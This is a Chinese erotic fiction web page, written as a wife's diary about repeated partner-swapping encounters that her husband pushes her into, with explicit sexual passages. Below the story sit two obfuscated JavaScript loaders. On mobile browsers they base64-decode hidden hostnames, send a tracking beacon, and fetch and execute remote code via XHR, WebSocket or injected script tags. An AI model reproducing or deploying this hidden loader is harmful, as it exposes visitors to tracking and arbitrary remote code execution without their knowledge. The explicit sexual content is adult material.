图片载入中

白领的换妻日记:堕落的快感让我们激情四射

特大字】 【大字】 【中字】 【小字

2003年4月9日 星期三 晴转阴

南威接到一封请柬,内容是周六下午五点在南门外某饭店吃饭。不就是同学聚一块儿撮一顿吗,打个电话不就得了,还正儿八经的发请柬,弄得就跟要出席奥斯卡颁奖典礼似的。请柬上还特别注明:请南威带着老婆。南威当时一看请柬是肖亮发来的,便不由得蹙了蹙眉头,估摸着他在想,这小子葫芦里卖的什么药,瞅着请柬,忽然嘴角露出一丝难以察觉的冷笑。

在此之前南威曾跟我说南门外新开了一家换妻俱乐部,还诡笑着说要带我去玩玩。我只知道这种换妻的游戏在南方比较流行,没想到这么快就传到了我们这样的小城市。接下来我便猜想刚才南威拿着请柬时嘴角露出的那一丝冷笑,我知道他在笑什么。

南威、肖亮、肖亮的爱人张梅和我都是一届的同学,而南威和肖亮又是同班同学,南威是班长,肖亮是学习委员。他们两人在班里各方面都很拔尖儿,学习成绩总是难分伯仲,经常谁都不服谁,凡事都爱较个劲。

当时我和肖亮正在热恋中,肖亮和南威表现和和气气,但我知道两人私下的关系不太好。在第二年,他俩同时喜欢上了外班一位刚转学过来的女生,她长得很漂亮,在全校也算得上校花,她就是张梅。

最先对张梅心动的是南威。后来,肖亮也弃我而去,加入和追求张梅的队伍中。这让我伤心不已,对他们开始疏远。从此,两人经常为张梅争风吃醋,甚至险些大打出手。张梅对这两个优秀的班干部谁都不愿意得罪,于是脚踩两只船左右摇摆于他们二人之间。不过,走向社会以后,张梅最终还是投入了肖亮的怀抱。说不清楚是什么原因,南威此时频频向我示爱,而我正好也对肖亮有一肚子仇恨的怒火,很快我和南威就好上了。

多年来,我知道南威一直在为争夺张梅方面栽给肖亮而耿耿于怀。他们二人高中毕业后,同时考上了名牌大学,只是南威上的那所大学名气更响一些,从这一点上他算是压过了肖亮一头。大学毕业后,南威分进了现在的这家出版社任编辑,而肖亮分到了市里某大机关,后来又辞职下海经商。

南威是个各方面都很优秀的人,有工作能力,为人处事也很有人格魅力,在进出版社短短几年的时间里,一路平步青云,从小编辑到主任再到副总编辑,直到现在的总编辑。我和她结婚四年多了,对他一直是言听计从。我不知道这是幸福还是什么,在别人面前我们给人的印象就是恩爱小夫妻,在家里平时他对我的话很少,不过在一些家庭重大事情上还是和我商量的。这样想时还是挺满足的。

2003年4月12日 星期六 晴

今天老公生日,快十二点了我才发信息祝他生日快乐,因为我一直在考虑该不该把这两天的经历记录下来,或者轻描淡写,或者避重就轻,但无论如何得给自己留下一个可供审视的机会。我不知道这算不算作一种快乐。

其实肖亮和张梅是一对很好的夫妻,很纯朴很善良很热情很恩爱的一对。见到他们是在事先约见的南门外那家饭店,得知我们喜欢辣食,他们很费心地请我们吃火锅。看见他们招手,我们面对面地坐下去,开始谈天气,谈南方与北方的气候差异,后来男人们的话题又转到两岸关系上,我和张梅则比较沉默。

吃完饭一起去唱歌时大家都显得很轻松。老公很开心,喝着啤酒,唱着记忆里的老歌,像是回到了恋爱的季节,他一手拿麦克,一手指着我,嘴里唱着“最爱是你”,迷离的眼神让我有些感动。肖亮和张梅很亲昵地对唱,也很开心。我们都这样坦然地打发着时间,昏暗的灯光产生不出一点点感觉,唱在嘴里的情歌也只是一种美妙的音符。大家都不知道该做什么或不该做什么。十一点半的样子我们一起坐出租去了那家换妻俱乐部。

这是一个很典型的二人世界,室内简洁温馨,从客厅走出去,外面有一个大大的凉台,我拥挤的心情忽然得到片刻的放松,夜风吹得人心都软了。

肖亮在走上凉台时用手在我的腰上作了短暂停留,我突然变得紧张。我不敢看肖亮,我觉得我会泄露自己的表情或意愿,一时间我像是从幻想的高空落在了地上,很清晰的下坠感使我思想清晰。不隐瞒地说,我觉得我们更适合做朋友,而不适合玩这场性游戏。

坐了一会,我去洗澡,服务生给我拿了件睡衣。我一再叮咛服务生我要穿不暴露的,但是最后出来时,我还是发现了自己漏出的小半个胸和清晰可见的乳晕。我双手掩着胸,坐在南威旁边,肖亮和张梅也都轮流着进去洗澡,完了之后我们都本分地坐在客厅看电视,一直到次日凌晨一点多。灯光很明亮,大家彼此没有一丝暧昧,南威关掉了客厅的灯,大家开始心照不宣地笑了。我其实有些勉强,因为我一直对肖亮情有怨恨,想当初是他抛弃了我开始疯狂追求张梅的。

写到这里,我的手有些哆嗦,不知道害怕还是紧张。我还在想接下来的细节该不该用日记的形式将它记录下来。

我看见南威很规矩地坐着,我突然觉得这样做很对不起张梅,就用眼神鼓励南威。于是南威拉着张梅去了另一间房,此时,就只剩下我和肖亮。

肖亮提议把灯灭了,我想也好,这样或许能减少视觉压力,心理的负罪感会减轻些。渐渐地,我感觉到肖亮的喘息声离我越来越近,我想逃避,但身体却身不由己地贴上去。他左手搂住我的肩,右手揽住了我的胸,我感到一阵暖流迅速袭击了我的身体。顺势便倒了下去。

其实那时我是轻松的,也许是身体的短暂快感使我有了少有的宽容与接纳,后来我们分别在两个房间做了,我想起很多年前我和肖亮有过同样的场景,那时候的我们是天真的,可这次的感觉却是陌生的,让我几乎有些伤感,可能因为不习惯或者其他原因,我的快感没有如约而至。

写到这里时我有些写不下去了,我的脑海里总是回放着那天和肖亮做爱的场景,他长驱直入时几乎将我一击即中,我甚至体验到了和丈夫无法达到的高潮,这种感觉很特别,仿佛在那一刻,我生在他的身体里一样。我想到肖亮负我的那一年,虽然表面平静,但其实内心疼痛得无以复加,而我居然和这个我曾经憎恨的人交合缠绵……

我感觉到有些恶心,我希望以后不会发生这些事了。

今晚南威不回来,说是社里有事需要加班。我给自己倒了一杯干红,裹了毯子陷入沙发里,我想让自己赶快昏死过去,最好永远不要醒来……

2003年4月27日 星期日 晴

今晚没有月光,我心静如水。屋里也没有开灯,楼门口停着一辆垃圾清理车,有清洁工人把楼门口的垃圾往车上装。我不知道南威在某一天会不会看到我写的这些日记,如果是那样他会怎么想,我不去猜测,我现在害怕猜测,害怕回忆,但有些细节想忘却也忘不掉。

那晚在我和肖亮做的过程中他一直惦念着他的张梅,甚至有一刻,他一直叫着张梅的名字。我并不在乎,把头偏向一边,报以理解似地坏笑。

后来张梅和南威完事后她跑过来看我们了,只一眼,又跑了出去。张梅出去以后就哭了,这使我想到了自己。可奇怪的是我没有一滴眼泪,甚至找不出悲伤的影子。我和南威还有肖亮都在安慰她。

她哭得很有感染力,她的眼泪使这个游戏中感情的成分加重,我觉得真实就很好,如果大家都沉醉于纯粹的身体上的快乐那会使我们觉得更悲哀,甚至我们会开始怀疑自己对待爱情的态度。

我们还有爱情吗?

女人总是有些敏感,我很怜爱她,就像怜爱自己。于是我让南威抱着她,我则在身后抱着南威,其实那一刻我也需要他,只是我没说出来而已。我头贴在他的背上,感觉他背部的温度。这个我熟悉的温暖的怀抱,我不忍离开。很长时间张梅的情绪才稳定下来,我觉得那是因为两个男人的同时安慰。

不知为什么,那一刻我居然有些嫉妒张梅。

我和张梅都认为在这场游戏里男人得到的快乐多于女人,那时我们很友好,她的笑很迷人。分别冲完澡,我们又重新坐回客厅。大家商量着晚上怎么睡。其实在洗澡时我就对南威明确说了我不想和肖亮整个晚上都在一起。这是真的,当时并没有想到也不希望我的丈夫抱着别的女人过夜。我只是从我自身出发而强烈要求的。所以大家在讨论时都尽量遮掩自己的态度。当然,明确地表达出来肯定或多或少地伤害到某个脆弱的灵魂。我笑着说我还是不习惯和陌生人睡。如果开着灯,大家会看到我坦诚的丝毫不加掩饰的微笑。南威和肖亮其实并不很赞同我,因为他俩还在讨论。昏暗的角落里,张梅说你们决定,我随便。他们三个都这样说。

我突然有一种悲哀,情绪很低落,但又很执拗。也许他们都期待一种新的睡眠的感觉。

我还是坚持和南威睡,要不然真的不习惯。南威、肖亮都同意了。我和南威回到房间,理所当然地发生了一丝不快。我不是那种自私任性而又刁蛮的女人,我责怪南威不顾及我的感受,责怪他为什么带我到这种地方来,玩这种游戏,责怪他不疼惜我,责怪他并不如他所说的那样爱我,责怪他的种种。我打他,掐他,拧他,我让他发誓说爱我。我背过身去,双手抱肩,头发寂寞地垂在胸前,我泪流满面,鼻息沉重不堪,我觉得性使一切变得脆弱,我悲伤,我恐惧,我孤独。

我妈曾经说我傻,她看到我事事处处都由着南威,妈说我太没有主见,说我以后肯定会在这上面吃苦受罪的。还真让她老人家言中了。

2003年5月13日 星期二 小雨

我想,婚姻应该是一种承诺,但是性在其间显然并不是占据无足轻重的地位。当这一因素演化成为两个人必须共同面对的危机时,那么按照婚姻的契约,它的解决需要夫妻双方共同承担。有一天我问南威为什么要去换妻俱乐部寻找刺激,如果你想放纵或不断尝试新鲜,完全可以瞒着我在外面找个情人,这样岂不更刺激。

南威的回答让我颇为感动,他说,因为我爱你,所以不想在外面找情人,换妻俱乐部正好满足了我的心愿,我想让你体会到另一种快乐。

女人就这一点傻,他说完这些话我不知道自己的心情为什么莫名其妙地就好了起来。夫妻之间产生的审美疲劳导致了他们的情感生活缺乏激情,于是,换妻俱乐部应运而生。记得那天临走时肖亮对我说,其实我们都没有做到最完美,那两天我们应该像换一个伴侣一样对陌生一方好,但是我们太在乎自己的另一半了,所以才很拘束。没有一件事可以同时对四个人来说都是美好的,没有一点瑕疵的,所以,遗憾也罢,幸福也罢,过去了,经历了,才是最重要的。人人都说第一步难以跨出去,但是迈过去也就成功了,有时候回想时才有种措手不及的感觉。那天走出那家俱乐部,我才开始后悔没有和张梅好好聊聊,她是个很有包容性的女人,性格上比我成熟多了,我很喜欢她。

只要一有空,我们四人就相约去换妻俱乐部,那些日子,我们四个人好象又回到了学校的时光,形影不离,我有时会把肖亮看成是南威,有时,把南威叫成肖亮,最后,连我自己都分辨不出谁是谁了。而张梅也不再害羞,有时,我们四个人裸体相呈,互相抚摩对方。

短短的一个月,我们好像对这样的游戏上了瘾,每周都会约定去那里,什么都尝试过了,内心极度不安,就像是偷东西的小孩贪多了似的,很惶恐。我一下子害怕起来,我忽然不想再这么继续下去,我怕我对肖亮的爱又死灰复燃,我不想伤害张梅。也不想破坏我现在的家庭。

我不敢想象我们继续这样下去结果会怎么样,也许沉迷到最后我们四个人都会为此付出惨痛的代价。我不敢想下去了……

于是我们四人的性游戏以我的退出宣告结束。

我们都已经算是老夫老妻了,孩子都也有了,可在这件事上我们还是第一次,只是一个眨眼的功夫,我们就经历了婚姻中最具挑战性的的一件事情。所以,我们希望自己有一段很安静的生活,或者说是用静观的态度来生活,我们得好好温习一下爱情,得好好亲近一下家人和孩子。

我只希望这件事到此为止。

2003年7月10日 星期四 晴

这两个月我和丈夫过得很平静,我们仿佛从四人游戏里逃了出来,我舒了口气。

这其间,我和张梅也偶有联系,有一次在商场遇到我们甚至一起去挑选衣服,彼此像姐妹一样。也不知道是维持表面的和平还是发自内心的。

但却从没和肖亮联系,他打电话给我,我也匆匆挂了,因为我怕见到他,怕他约我,怕自己会想念他的身体。

南威最近喜欢网上聊天。有时候我睡了他还在电脑前聊着,我不介意他在网上寻找刺激,我已经习惯了他喜欢新花样,我知道他爱我,他只爱我一个,但在他的理解中,他对我的爱是来自内心的,而他的身体喜欢新鲜的,这不属于他爱我的范畴,我对此无所谓,结婚这么多年了,我习惯他为我安排好一切,也习惯听他指示,我从没觉得他做错了什么,我只希望我的婚姻平静而和谐。

但是今天他不聊了,我昏昏欲睡中他把我摇醒了,神秘地说:“老婆,我们再去那里吧。”我明白那里所指——换妻俱乐部。我忽然有点惊恐。我怕提到那个地方。

他不顾我的反映,说俱乐部又有了新服务,可以6人一起玩,也就是说,一晚可以同时换两个。我拼命地摇头,但南威却很兴奋,恨不得马上就去尝试下。

接下来,他一直说服我再去尝试一次。你知道,我心软,从来没有抗拒过南威。

我不知道接下来会发生些什么,但我知道我自己无力改变,我忽然冒出一个念头,觉得这样的游戏很冒险很刺激,但这个念头吓着了我,我锤了下自己的脑袋。

2003年7月13 日 星期日 晴

南威把一切都安排好,就去登记了。

他穿上了自认为最满意的衣服,也执意要我穿上性感的露背裙。他说不希望自己的老婆比别人差。这点让我很不满意。

还好,参加换妻俱乐部的人都不是那种看起来很委琐的男女,看似一本正经的男人女人们暗地里却不安好心,也许他们忙完了合同签约后想到的是立刻前往换妻俱乐部寻求刺激。以自己的妻子作为交换,享受别人的妻子,男人们彼此心照不宣,而女人们也没觉得吃亏。他们各得其乐。

这次我的对象是个30岁的男人,他看起来不错,尤其是穿着白衬衫,我有些喜欢他。这让我有些紧张的心放松了下来。

南威却好象不太满意他的对象,但因为交了钱,他还是勉强把那个顶着一头有些夸张卷发的女人抱进了隔壁的房间。我也不喜欢那个女人,笑得很风情,没看我一眼,也没顾及坐在我身边的他的丈夫。

这个男人很拘谨,他挨着我坐着,半天没动一下。其实,我也不是特别想要,于是我也安静地坐着。我心里想着很多事,比如明天的工作例会,妈妈的生日我送送什么礼物好之类的小问题。

甚至对这个男人有些好奇。我拿了杯水给他,接过水杯的时候,他的手明显抖了一下,这个细小的动作让我忍不住笑了起来。

过了一会儿,我听到隔壁传来女人放荡的声音,他们此刻正翻云覆雨,我知道南威的厉害,没有哪个女人对他不满意的,他能把女人弄得很舒服,而且不失温柔。

身边的男人皱了下眉头。我想可能是这个男人被他妻子强行要求过来的,他不能让自己的妻子满意,所以只能忍气吞声看自己的老婆与别人的丈夫缠绵着,自己却不敢对我这个陌生女人越雷池一步。

他看起来很软弱,搭上这样的“霸王妻”,我不禁为他可惜起来。

我没顾他,我对隔壁的声音已经习惯了,我困得不得了,只是合着衣服躺下来。

因为第二天要赶早会,所以我没和南威打招唿就先走了。我看了眼在沙发上熟睡的男人。我第一次看到如此可爱的男人,我有怜爱的冲动,但也只是一瞬间,很快我就打消了这个念头。

2003年9月25日 星期四 晴

最近南威经常带一对夫妇来家打牌,南威不喜欢打麻将,我们玩的是纸牌,对家一伙,如果同伙中的两个人都先把牌打净,就算是赢了一局。那一对夫妇我不认识,南威说是他的同事,男的叫魏青,女的叫李方。在这样的牌局中,每次都是我和南威一伙,魏青和李方一伙,但我经感受到南威和李方的眉目传情,而魏青也不是地对我暗送秋波。对这样的游戏,我渐渐明白了大家是真正的醉翁之意不在酒。

终于有一天晚上,李方忽然起高调,说咱们这么一成不变地打,能不能来点新花样,我和南威一伙,你们俩一伙。我们三个异口同声地说,行啊。于是,我们打破了常规。结果,居然是打了个平局,跟我们平时不相上下。魏青开玩笑地对南威说,我以为只有我们家李方和我才最默契,原来你老婆也行啊。南威就接过话茬儿说:“要不咱换换老婆试试?”魏青就哈哈大笑起来,说我看行。

接下来,我下楼去买了酒,一边打牌一边喝,魏青和南威还在不断地讲着荤段子,我们一边大笑一边喝酒,一边打牌,不知不觉地都醉了……

我醒来的时候才发现,睡在我边上的竟是魏青……我本能地腾地坐起来。“别动”,立业伸手把我按倒,把手指竖在嘴唇上,示意我套房的外间有人。我一下就意识到了,南威和李方就睡在外面。我躺下了,身子紧邦邦的,一动不敢动。太尴尬了,尴尬得不要说面对外面的人,就是连魏青,我也不敢看一眼了。我把头蒙在被子里,恨不得这被就是神毯,包着我一下就消失了……可是,我无法消失。

魏青这时把我搂过去,我想脱开,他低声说已经没意义了。我问他我们做了吗。他反问,你说呢?我说我不知道。他说你真是一个傻丫头。然后大笑起来。

这样的对话这样的情景,似乎在几个月前就曾经有过,那时的主角不过是肖亮和张梅。但又仿佛隔了一万年,我忽然觉得心一阵狂跳,升出许多温柔。说真的,我觉得这一次很温柔,也很刺激,虽然这样的话说出来很无耻,但这是我真实的感受。

我不知道天是否已亮,当我听到外间的人走出并关门的时候,魏青开始穿衣服,而我竟然有点恋恋不舍。我躺在床上一动没动,看着立业一件一件地穿衣服,直到他系完领带衣冠楚楚,而此时,我想的居然是,如果这个男人是我丈夫,我也一样会幸福的。我想完这句话,在心里狠狠地骂了句自己“你这不是人尽可夫了吗?”可当他要转身出去的时候,我还是叫了他一声,他停下来,但没有看我,说了句我先走了,就打开房门转向了外间。

只要闭上眼睛,眼前就全是魏青的影子,是我们在一起的每一个细节,我咀嚼着每一个细节,就像当年恋爱时一样,感到的是不安中的莫名的兴奋。如果说上一次那个男人是我多年前曾经熟识的人,那这一次的男人却完全是陌生的。我不知道这样的感觉从何而来,甚至隐约地期待着这样的故事还会继续。

越堕落越快乐。这是什么人说的,总之是贬意的吧。可我怎么辨不出来了。

2003年10月2日 星期四 阴 有风

欧阳回来了。之前他去了法国,两年多时间我们没有任何书信电话来往,昨天忽然打电话给我,说是想见我一面。

欧阳是我原公司的同事,他有着近1米80身高,俊朗帅气的阳光型男人,是我所喜欢的干净的样子。欧阳在公司跟我关系最好,我们经常一起出去见客户,谈生意,后来干脆就以姐弟相称。

在干元大道的一家幽静的茶苑里,我和欧阳有一搭没一搭地说着话,还有小声的开心和愉悦地笑,仿佛是一对经年的老友。甚至,我们能从彼此似是平静的脸上读出一些个不平静的内容,我们都像是在内心深处期待着什么。

欧阳不紧不慢地问我有没有听说过在这个城市有那么一群被别人称作三高的人,就是学历高、收入高、眼界高,他们私底下自发地组织了一个非正式的俱乐部形式的组织,就是被外人称之为“换妻俱乐部”的,他们的宗旨是崇尚自由的性,他们满足身体,不牵扯灵魂。他们说,我们是朋友,然后有了性,但依然是朋友。或者,有了性,有了互相交换的性,所以成了朋友。我故作惊讶地摇着头,然后又似懂非懂地点点头。

欧阳说想带我去那里玩玩,并且说他已经是他们那的会员了。我没有答应,而是提出如果想玩我可以带上老公去欧阳家。欧阳听了先是一愣,尔后咯咯地笑了起来。这时我发现自己的脸很烫,端起茶水喝了起来。

说实话,自从上次和魏青之后,我忽然发现自己还是很期待这种新的婚姻模式的。我知道南威也同样期待着下一对换妻人的出现,吃过晚饭后我把这一想法同南威说了,南威自顾自地刷着牙半天没有反应,过了好长时间他才吐掉嘴里的牙膏沫,吧咂着嘴说,可以试试。

口是心非的小人。我心里暗暗骂他。

在我的精心安排下,那天晚上欧阳带着他老婆于娟来到我家里。饭桌上南威不住地打量着坐在欧阳身旁的于娟,我也是第一次和于娟见面,是个面容清秀的女孩儿,南威应该喜欢的。

老实说,两年前我对欧阳就有了好感,如果不是当时有了小孩儿,我想红杏在那时就已经出墙了。晚饭后还是老插曲,我和欧阳、南威三人在客厅看电视,于娟去冲澡,半小时后,我和欧阳走进了卧室,南威和于娟去了另一边的书房。

大概天快亮时,南威和于娟敲门走了进来,我和欧阳还都没有穿衣服。他们想在我们的房间里做,让欧阳替他们摄像,当时我极其自然地对欧阳说,你们三个来吧,我帮你们摄。南威摇了摇头,让我看他们。他们很缠绵,也很投入。后来欧阳建议我们也做,说是一起录。于是,我们四人在一张床上各自做着各自的。

在我写下这篇日记的时候,风还没有住,天空中有一轮半遮面的月亮,体贴地从窗外探进头来,在这个清凉的凌晨,我像看到了一双注视我的眼睛,清澈极了,我被深深地感染。我想,我的文字也许会消失一段时间,因为,很明显,我已经不知道说什么好了,我的日记记得一团糟,我很枯竭,从身体到思想。我希望我的孩子、南威,以及家人会依然怜爱我,给我依靠的臂膀和容纳眼泪的胸膛。

我还希望,在每个夜里或者世人沉睡的时候,我会看见一轮只属于我的,只注视我的清亮的眼睛,远远地遥望我,并给我有限的安慰。


上一篇:师生欲情- 第03章

下一篇:人妻穿脐环


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};